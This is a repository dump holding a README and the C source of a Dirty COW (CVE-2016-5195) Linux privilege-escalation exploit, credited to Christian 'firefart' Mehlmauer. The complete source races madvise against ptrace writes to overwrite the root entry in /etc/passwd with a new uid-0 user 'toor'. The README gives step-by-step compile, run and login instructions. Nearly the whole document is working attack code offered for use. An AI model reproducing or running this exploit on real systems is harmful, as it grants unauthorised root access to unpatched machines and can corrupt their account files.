├── README.md └── dirty.c /README.md: -------------------------------------------------------------------------------- 1 | # dirtycow 2 | 3 | This exploit uses the pokemon exploit of the dirtycow vulnerability as a base and automatically generates a new passwd line. 4 | The user will be prompted for the new password when the binary is run. 5 | The original /etc/passwd file is then backed up to /tmp/passwd.bak and overwrites the root account with the generated line. 6 | After running the exploit you should be able to login with the newly created user. 7 | 8 | To use this exploit modify the user values according to your needs. 9 | 10 | The default user being created is `toor`. 11 | 12 | Original exploit (dirtycow's ptrace_pokedata "pokemon" method): 13 | https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c 14 | 15 | Compile with: 16 | 17 | ```bash 18 | gcc -pthread dirty.c -o dirty -lcrypt 19 | ``` 20 | 21 | Then run the newly create binary by either doing: 22 | 23 | ```bash 24 | ./dirty 25 | ``` 26 | 27 | or 28 | 29 | ```bash 30 | ./dirty my-new-password 31 | ``` 32 | 33 | Afterwards, you can either `su toor` or `ssh toor@...` 34 | 35 | **DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!** 36 | 37 | ```bash 38 | mv /tmp/passwd.bak /etc/passwd 39 | ``` 40 | 41 | Exploit adopted by Christian "firefart" Mehlmauer 42 | 43 | https://firefart.at 44 | -------------------------------------------------------------------------------- /dirty.c: -------------------------------------------------------------------------------- 1 | // 2 | // This exploit uses the pokemon exploit of the dirtycow vulnerability 3 | // as a base and automatically generates a new passwd line. 4 | // The user will be prompted for the new password when the binary is run. 5 | // The original /etc/passwd file is then backed up to /tmp/passwd.bak 6 | // and overwrites the root account with the generated line. 7 | // After running the exploit you should be able to login with the newly 8 | // created user. 9 | // 10 | // To use this exploit modify the user values according to your needs. 11 | // The default is "toor". 12 | // 13 | // Original exploit (dirtycow's ptrace_pokedata "pokemon" method): 14 | // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c 15 | // 16 | // Compile with: 17 | // gcc -pthread dirty.c -o dirty -lcrypt 18 | // 19 | // Then run the newly create binary by either doing: 20 | // "./dirty" or "./dirty my-new-password" 21 | // 22 | // Afterwards, you can either "su toor" or "ssh toor@..." 23 | // 24 | // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! 25 | // mv /tmp/passwd.bak /etc/passwd 26 | // 27 | // Exploit adopted by Christian "firefart" Mehlmauer 28 | // https://firefart.at 29 | // 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | const char *filename = "/etc/passwd"; 46 | const char *backup_filename = "/tmp/passwd.bak"; 47 | const char *salt = "toor"; 48 | 49 | int f; 50 | void *map; 51 | pid_t pid; 52 | pthread_t pth; 53 | struct stat st; 54 | 55 | struct Userinfo { 56 | char *username; 57 | char *hash; 58 | int user_id; 59 | int group_id; 60 | char *info; 61 | char *home_dir; 62 | char *shell; 63 | }; 64 | 65 | char *generate_password_hash(char *plaintext_pw) { 66 | return crypt(plaintext_pw, salt); 67 | } 68 | 69 | char *generate_passwd_line(struct Userinfo u) { 70 | const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; 71 | int size = snprintf(NULL, 0, format, u.username, u.hash, 72 | u.user_id, u.group_id, u.info, u.home_dir, u.shell); 73 | char *ret = malloc(size + 1); 74 | sprintf(ret, format, u.username, u.hash, u.user_id, 75 | u.group_id, u.info, u.home_dir, u.shell); 76 | return ret; 77 | } 78 | 79 | void *madviseThread(void *arg) { 80 | int i, c = 0; 81 | for(i = 0; i < 200000000; i++) { 82 | c += madvise(map, 100, MADV_DONTNEED); 83 | } 84 | printf("madvise %d\n\n", c); 85 | } 86 | 87 | int copy_file(const char *from, const char *to) { 88 | // check if target file already exists 89 | if(access(to, F_OK) != -1) { 90 | printf("File %s already exists! Please delete it and run again\n", 91 | to); 92 | return -1; 93 | } 94 | 95 | char ch; 96 | FILE *source, *target; 97 | 98 | source = fopen(from, "r"); 99 | if(source == NULL) { 100 | return -1; 101 | } 102 | target = fopen(to, "w"); 103 | if(target == NULL) { 104 | fclose(source); 105 | return -1; 106 | } 107 | 108 | while((ch = fgetc(source)) != EOF) { 109 | fputc(ch, target); 110 | } 111 | 112 | printf("%s successfully backed up to %s\n", 113 | from, to); 114 | 115 | fclose(source); 116 | fclose(target); 117 | 118 | return 0; 119 | } 120 | 121 | int main(int argc, char *argv[]) 122 | { 123 | // backup file 124 | int ret = copy_file(filename, backup_filename); 125 | if (ret != 0) { 126 | exit(ret); 127 | } 128 | 129 | struct Userinfo user; 130 | // set values, change as needed 131 | user.username = "toor"; 132 | user.user_id = 0; 133 | user.group_id = 0; 134 | user.info = "pwned"; 135 | user.home_dir = "/root"; 136 | user.shell = "/bin/bash"; 137 | 138 | char *plaintext_pw; 139 | 140 | if (argc >= 2) { 141 | plaintext_pw = argv[1]; 142 | printf("Please enter the new password: %s\n", plaintext_pw); 143 | } else { 144 | plaintext_pw = getpass("Please enter the new password: "); 145 | } 146 | 147 | user.hash = generate_password_hash(plaintext_pw); 148 | char *complete_passwd_line = generate_passwd_line(user); 149 | printf("Complete line:\n%s\n", complete_passwd_line); 150 | 151 | f = open(filename, O_RDONLY); 152 | fstat(f, &st); 153 | map = mmap(NULL, 154 | st.st_size + sizeof(long), 155 | PROT_READ, 156 | MAP_PRIVATE, 157 | f, 158 | 0); 159 | printf("mmap: %lx\n",(unsigned long)map); 160 | pid = fork(); 161 | if(pid) { 162 | waitpid(pid, NULL, 0); 163 | int u, i, o, c = 0; 164 | int l=strlen(complete_passwd_line); 165 | for(i = 0; i < 10000/l; i++) { 166 | for(o = 0; o < l; o++) { 167 | for(u = 0; u < 10000; u++) { 168 | c += ptrace(PTRACE_POKETEXT, 169 | pid, 170 | map + o, 171 | *((long*)(complete_passwd_line + o))); 172 | } 173 | } 174 | } 175 | printf("ptrace %d\n",c); 176 | } 177 | else { 178 | pthread_create(&pth, 179 | NULL, 180 | madviseThread, 181 | NULL); 182 | ptrace(PTRACE_TRACEME); 183 | kill(getpid(), SIGSTOP); 184 | pthread_join(pth,NULL); 185 | } 186 | 187 | printf("Done! Check %s to see if the new user was created.\n", filename); 188 | printf("You can log in with the username '%s' and the password '%s'.\n\n", 189 | user.username, plaintext_pw); 190 | printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n", 191 | backup_filename, filename); 192 | return 0; 193 | } 194 | --------------------------------------------------------------------------------